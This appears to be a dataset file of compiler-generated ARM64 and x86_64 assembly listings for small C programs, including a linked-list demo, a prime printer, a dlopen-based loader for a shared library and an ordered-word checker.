movl $0, -4(%rbp)
LBB7_1: ## =>This Loop Header: Depth=1
## Child Loop BB7_3 Depth 2
movl -4(%rbp), %eax
movl -44(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB7_10
## %bb.2: ## in Loop: Header=BB7_1 Depth=1
movq _head(%rip), %rax
movq %rax, -32(%rbp)
movq _head(%rip), %rax
movq 8(%rax), %rax
movq %rax, -40(%rbp)
movl $1, -8(%rbp)
LBB7_3: ## Parent Loop BB7_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -8(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB7_8
## %bb.4: ## in Loop: Header=BB7_3 Depth=2
movq -32(%rbp), %rax
movl (%rax), %eax
movq -40(%rbp), %rcx
cmpl (%rcx), %eax
jle LBB7_6
## %bb.5: ## in Loop: Header=BB7_3 Depth=2
movq -32(%rbp), %rax
movl (%rax), %eax
movl %eax, -20(%rbp)
movq -40(%rbp), %rax
movl (%rax), %ecx
movq -32(%rbp), %rax
movl %ecx, (%rax)
movl -20(%rbp), %ecx
movq -40(%rbp), %rax
movl %ecx, (%rax)
movq -32(%rbp), %rax
movl 4(%rax), %eax
movl %eax, -16(%rbp)
movq -40(%rbp), %rax
movl 4(%rax), %ecx
movq -32(%rbp), %rax
movl %ecx, 4(%rax)
movl -16(%rbp), %ecx
movq -40(%rbp), %rax
movl %ecx, 4(%rax)
LBB7_6: ## in Loop: Header=BB7_3 Depth=2
movq -32(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -32(%rbp)
movq -40(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -40(%rbp)
## %bb.7: ## in Loop: Header=BB7_3 Depth=2
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB7_3
LBB7_8: ## in Loop: Header=BB7_1 Depth=1
jmp LBB7_9
LBB7_9: ## in Loop: Header=BB7_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
movl -12(%rbp), %eax
addl $-1, %eax
movl %eax, -12(%rbp)
jmp LBB7_1
LBB7_10:
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _reverse ## -- Begin function reverse
.p2align 4, 0x90
_reverse: ## @reverse
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq $0, -16(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rax, -24(%rbp)
LBB8_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -24(%rbp)
je LBB8_3
## %bb.2: ## in Loop: Header=BB8_1 Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
movq -24(%rbp), %rax
movq %rax, -16(%rbp)
movq -32(%rbp), %rax
movq %rax, -24(%rbp)
jmp LBB8_1
LBB8_3:
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $1, %edi
movl $10, %esi
callq _insertFirst
movl $2, %edi
movl $20, %esi
callq _insertFirst
movl $3, %edi
movl $30, %esi
callq _insertFirst
movl $4, %edi
movl $1, %esi
callq _insertFirst
movl $5, %edi
movl $40, %esi
callq _insertFirst
movl $6, %edi
movl $56, %esi
callq _insertFirst
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
callq _printList
LBB9_1: ## =>This Inner Loop Header: Depth=1
callq _isEmpty
xorb $-1, %al
testb $1, %al
jne LBB9_2
jmp LBB9_3
LBB9_2: ## in Loop: Header=BB9_1 Depth=1
callq _deleteFirst
movq %rax, -8(%rbp)
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movl 4(%rax), %esi
movq -8(%rbp), %rax
movl (%rax), %edx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB9_1
LBB9_3:
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
callq _printList
movl $1, %edi
movl $10, %esi
callq _insertFirst
movl $2, %edi
movl $20, %esi
callq _insertFirst
movl $3, %edi
movl $30, %esi
callq _insertFirst
movl $4, %edi
movl $1, %esi
callq _insertFirst
movl $5, %edi
movl $40, %esi
callq _insertFirst
movl $6, %edi
movl $56, %esi
callq _insertFirst
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
callq _printList
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
movl $4, %edi
callq _find
movq %rax, -16(%rbp)
cmpq $0, -16(%rbp)
je LBB9_5
## %bb.4:
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rax
movl 4(%rax), %esi
movq -16(%rbp), %rax
movl (%rax), %edx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB9_6
LBB9_5:
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
LBB9_6:
movl $4, %edi
callq _delete
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
callq _printList
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
movl $4, %edi
callq _find
movq %rax, -16(%rbp)
cmpq $0, -16(%rbp)
je LBB9_8
## %bb.7:
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rax
movl 4(%rax), %esi
movq -16(%rbp), %rax
movl (%rax), %edx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB9_9
LBB9_8:
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
LBB9_9:
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
callq _sort
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
callq _printList
leaq _head(%rip), %rdi
callq _reverse
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
callq _printList
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _head ## @head
.zerofill __DATA,__common,_head,8,3
.globl _current ## @current
.zerofill __DATA,__common,_current,8,3
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\n[ "
L_.str.1: ## @.str.1
.asciz "(%d,%d) "
L_.str.2: ## @.str.2
.asciz " ]"
L_.str.3: ## @.str.3
.asciz "Original List: "
L_.str.4: ## @.str.4
.asciz "\nDeleted value:"
L_.str.5: ## @.str.5
.asciz "\nList after deleting all items: "
L_.str.6: ## @.str.6
.asciz "\nRestored List: "
L_.str.7: ## @.str.7
.asciz "\n"
L_.str.8: ## @.str.8
.asciz "Element found: "
L_.str.9: ## @.str.9
.asciz "Element not found."
L_.str.10: ## @.str.10
.asciz "List after deleting an item: "
L_.str.11: ## @.str.11
.asciz "List after sorting the data: "
L_.str.12: ## @.str.12
.asciz "\nList after reversing the data: "
.subsections_via_symbols
| the_stack_data/876662.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/94705.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/161081347.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
stur wzr, [x29, #-28]
mov w8, #1
stur w8, [x29, #-32]
; kill: def $x8 killed $xzr
str xzr, [sp, #40]
mov x9, sp
sub x8, x29, #20
str x8, [x9]
sub x8, x29, #24
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldursw x8, [x29, #-24]
lsl x0, x8, #2
bl _malloc
str x0, [sp, #40]
ldur w8, [x29, #-24]
subs w8, w8, #1
cset w8, lt
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr x9, [sp, #40]
mov w8, #2
str w8, [x9]
b LBB0_2
LBB0_2:
mov w8, #3
str w8, [sp, #36]
b LBB0_3
LBB0_3: ; =>This Loop Header: Depth=1
; Child Loop BB0_5 Depth 2
ldur w8, [x29, #-28]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_14
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
mov w8, #2
str w8, [sp, #32]
b LBB0_5
LBB0_5: ; Parent Loop BB0_3 Depth=1
; => This Inner Loop Header: Depth=2
ldr s1, [sp, #32]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr s2, [sp, #36]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fsqrt d1, d1
fcmp d0, d1
cset w8, hi
tbnz w8, #0, LBB0_10
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=2
ldr w8, [sp, #36]
ldr w10, [sp, #32]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_3 Depth=1
stur wzr, [x29, #-32]
b LBB0_10
LBB0_8: ; in Loop: Header=BB0_5 Depth=2
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_5 Depth=2
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_5
LBB0_10: ; in Loop: Header=BB0_3 Depth=1
ldur w8, [x29, #-32]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [sp, #36]
ldr x9, [sp, #40]
ldur w10, [x29, #-28]
add w10, w10, #1
stur w10, [x29, #-28]
str w8, [x9, w10, sxtw #2]
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_3 Depth=1
mov w8, #1
stur w8, [x29, #-32]
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [sp, #36]
add w8, w8, #2
str w8, [sp, #36]
b LBB0_3
LBB0_14:
stur wzr, [x29, #-28]
str wzr, [sp, #28]
b LBB0_15
LBB0_15: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #28]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_25
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_15 Depth=1
ldr w8, [sp, #28]
ldur w9, [x29, #-20]
subs w9, w9, #1
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB0_23
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_15 Depth=1
ldur w8, [x29, #-28]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_20
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_15 Depth=1
ldr w8, [sp, #28]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_20
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_15 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_15 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
ldr x8, [sp, #40]
ldrsw x9, [sp, #28]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur w8, [x29, #-28]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB0_22
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_15 Depth=1
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
stur wzr, [x29, #-28]
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_15 Depth=1
b LBB0_23
LBB0_23: ; in Loop: Header=BB0_15 Depth=1
b LBB0_24
LBB0_24: ; in Loop: Header=BB0_15 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_15
LBB0_25:
mov w0, #0
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d%d"
l_.str.1: ; @.str.1
.asciz " "
l_.str.2: ; @.str.2
.asciz "%d"
l_.str.3: ; @.str.3
.asciz "\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -28(%rbp)
movl $1, -32(%rbp)
movq $0, -40(%rbp)
leaq L_.str(%rip), %rdi
leaq -20(%rbp), %rsi
leaq -24(%rbp), %rdx
movb $0, %al
callq _scanf
movslq -24(%rbp), %rdi
shlq $2, %rdi
callq _malloc
movq %rax, -40(%rbp)
cmpl $1, -24(%rbp)
jl LBB0_2
## %bb.1:
movq -40(%rbp), %rax
movl $2, (%rax)
LBB0_2:
movl $3, -44(%rbp)
LBB0_3: ## =>This Loop Header: Depth=1
## Child Loop BB0_5 Depth 2
movl -28(%rbp), %eax
cmpl -24(%rbp), %eax
jge LBB0_14
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movl $2, -48(%rbp)
LBB0_5: ## Parent Loop BB0_3 Depth=1
## => This Inner Loop Header: Depth=2
cvtsi2sdl -48(%rbp), %xmm1
cvtsi2sdl -44(%rbp), %xmm0
sqrtsd %xmm0, %xmm0
ucomisd %xmm1, %xmm0
jb LBB0_10
## %bb.6: ## in Loop: Header=BB0_5 Depth=2
movl -44(%rbp), %eax
cltd
idivl -48(%rbp)
cmpl $0, %edx
jne LBB0_8
## %bb.7: ## in Loop: Header=BB0_3 Depth=1
movl $0, -32(%rbp)
jmp LBB0_10
LBB0_8: ## in Loop: Header=BB0_5 Depth=2
jmp LBB0_9
LBB0_9: ## in Loop: Header=BB0_5 Depth=2
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB0_5
LBB0_10: ## in Loop: Header=BB0_3 Depth=1
cmpl $0, -32(%rbp)
je LBB0_12
## %bb.11: ## in Loop: Header=BB0_3 Depth=1
movl -44(%rbp), %edx
movq -40(%rbp), %rax
movl -28(%rbp), %ecx
addl $1, %ecx
movl %ecx, -28(%rbp)
movslq %ecx, %rcx
movl %edx, (%rax,%rcx,4)
LBB0_12: ## in Loop: Header=BB0_3 Depth=1
movl $1, -32(%rbp)
## %bb.13: ## in Loop: Header=BB0_3 Depth=1
movl -44(%rbp), %eax
addl $2, %eax
movl %eax, -44(%rbp)
jmp LBB0_3
LBB0_14:
movl $0, -28(%rbp)
movl $0, -52(%rbp)
LBB0_15: ## =>This Inner Loop Header: Depth=1
movl -52(%rbp), %eax
cmpl -24(%rbp), %eax
jge LBB0_25
## %bb.16: ## in Loop: Header=BB0_15 Depth=1
movl -52(%rbp), %eax
movl -20(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jl LBB0_23
## %bb.17: ## in Loop: Header=BB0_15 Depth=1
cmpl $0, -28(%rbp)
je LBB0_20
## %bb.18: ## in Loop: Header=BB0_15 Depth=1
movl -52(%rbp), %eax
cmpl -24(%rbp), %eax
je LBB0_20
## %bb.19: ## in Loop: Header=BB0_15 Depth=1
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
LBB0_20: ## in Loop: Header=BB0_15 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
movq -40(%rbp), %rax
movslq -52(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
cmpl $10, -28(%rbp)
jne LBB0_22
## %bb.21: ## in Loop: Header=BB0_15 Depth=1
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -28(%rbp)
LBB0_22: ## in Loop: Header=BB0_15 Depth=1
jmp LBB0_23
LBB0_23: ## in Loop: Header=BB0_15 Depth=1
jmp LBB0_24
LBB0_24: ## in Loop: Header=BB0_15 Depth=1
movl -52(%rbp), %eax
addl $1, %eax
movl %eax, -52(%rbp)
jmp LBB0_15
LBB0_25:
xorl %eax, %eax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d%d"
L_.str.1: ## @.str.1
.asciz " "
L_.str.2: ## @.str.2
.asciz "%d"
L_.str.3: ## @.str.3
.asciz "\n"
.subsections_via_symbols
| the_stack_data/68889201.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get_symbol ; -- Begin function get_symbol
.p2align 2
_get_symbol: ; @get_symbol
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
; kill: def $x8 killed $xzr
str xzr, [sp, #16]
ldur x0, [x29, #-8]
mov w1, #1
bl _dlopen
str x0, [sp, #24]
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x8, [x8]
str x8, [sp, #8] ; 8-byte Folded Spill
bl _dlerror
mov x8, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_2:
ldr x0, [sp, #24]
ldur x1, [x29, #-16]
bl _dlsym
adrp x8, ___main@PAGE
str x0, [x8, ___main@PAGEOFF]
bl _dlerror
mov x8, x0
str x8, [sp, #16]
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
ldr x8, [sp, #16]
mov x9, sp
str x8, [x9]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_4:
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #12]
adrp x8, l___const.main.argz@PAGE
add x8, x8, l___const.main.argz@PAGEOFF
ldr q0, [x8]
add x8, sp, #16
str x8, [sp] ; 8-byte Folded Spill
str q0, [sp, #16]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl _get_symbol
ldr x1, [sp] ; 8-byte Folded Reload
adrp x8, ___main@PAGE
ldr x8, [x8, ___main@PAGEOFF]
mov w0, #1
blr x8
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
bl ___stack_chk_fail
LBB1_2:
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s\n"
.zerofill __DATA,__bss,___main,8,3 ; @__main
l_.str.1: ; @.str.1
.asciz "/bin/foo"
.section __DATA,__const
.p2align 3 ; @__const.main.argz
l___const.main.argz:
.quad l_.str.1
.quad 0
.section __TEXT,__cstring,cstring_literals
l_.str.2: ; @.str.2
.asciz "/tmp/proftpd.so"
l_.str.3: ; @.str.3
.asciz "main"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get_symbol ## -- Begin function get_symbol
.p2align 4, 0x90
_get_symbol: ## @get_symbol
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq $0, -32(%rbp)
movq -8(%rbp), %rdi
movl $1, %esi
callq _dlopen
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
jne LBB0_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -40(%rbp) ## 8-byte Spill
callq _dlerror
movq -40(%rbp), %rdi ## 8-byte Reload
movq %rax, %rdx
leaq L_.str(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_2:
movq -24(%rbp), %rdi
movq -16(%rbp), %rsi
callq _dlsym
movq %rax, ___main(%rip)
callq _dlerror
movq %rax, -32(%rbp)
cmpq $0, %rax
je LBB0_4
## %bb.3:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_4:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -36(%rbp)
movq l___const.main.argz(%rip), %rax
movq %rax, -32(%rbp)
movq l___const.main.argz+8(%rip), %rax
movq %rax, -24(%rbp)
leaq L_.str.2(%rip), %rdi
leaq L_.str.3(%rip), %rsi
callq _get_symbol
movq ___main(%rip), %rax
leaq -32(%rbp), %rsi
movl $1, %edi
callq *%rax
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_2
## %bb.1:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
LBB1_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s\n"
.zerofill __DATA,__bss,___main,8,3 ## @__main
L_.str.1: ## @.str.1
.asciz "/bin/foo"
.section __DATA,__const
.p2align 4 ## @__const.main.argz
l___const.main.argz:
.quad L_.str.1
.quad 0
.section __TEXT,__cstring,cstring_literals
L_.str.2: ## @.str.2
.asciz "/tmp/proftpd.so"
L_.str.3: ## @.str.3
.asciz "main"
.subsections_via_symbols
| the_stack_data/53505.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/179830306.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _is_ordered_word ; -- Begin function is_ordered_word
.p2align 2
_is_ordered_word: ; @is_ordered_word
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
ldr x8, [sp, #16]
subs x8, x8, #0
cset w9, eq
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l___func__.is_ordered_word@PAGE
add x0, x0, l___func__.is_ordered_word@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #18
adrp x3, l_.str.1@PAGE
add x3, x3, l_.str.1@PAGEOFF
bl ___assert_rtn
LBB0_2:
b LBB0_3
LBB0_3:
str wzr, [sp, #12]
b LBB0_4
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
ldr x9, [sp, #16]
ldr w10, [sp, #12]
add w10, w10, #1
ldrsb w9, [x9, w10, sxtw]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_4 Depth=1
ldr x8, [sp, #16]
ldr w9, [sp, #12]
add w9, w9, #1
ldrsb w8, [x8, w9, sxtw]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7:
stur wzr, [x29, #-4]
b LBB0_11
LBB0_8: ; in Loop: Header=BB0_4 Depth=1
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_4 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_4
LBB0_10:
mov w8, #1
stur w8, [x29, #-4]
b LBB0_11
LBB0_11:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _array_append ; -- Begin function array_append
.p2align 2
_array_append: ; @array_append
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
str x1, [sp]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w9, eq
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l___func__.array_append@PAGE
add x0, x0, l___func__.array_append@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #30
adrp x3, l_.str.2@PAGE
add x3, x3, l_.str.2@PAGEOFF
bl ___assert_rtn
LBB1_2:
b LBB1_3
LBB1_3:
ldr x8, [sp]
subs x8, x8, #0
cset w9, eq
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4:
adrp x0, l___func__.array_append@PAGE
add x0, x0, l___func__.array_append@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #31
adrp x3, l_.str.3@PAGE
add x3, x3, l_.str.3@PAGEOFF
bl ___assert_rtn
LBB1_5:
b LBB1_6
LBB1_6:
ldr x8, [sp, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, eq
and w8, w8, #0x1
ldr x9, [sp, #8]
ldr x9, [x9]
subs x9, x9, #0
cset w9, eq
and w9, w9, #0x1
subs w8, w8, w9
cset w9, ne
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB1_8
b LBB1_7
LBB1_7:
adrp x0, l___func__.array_append@PAGE
add x0, x0, l___func__.array_append@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #32
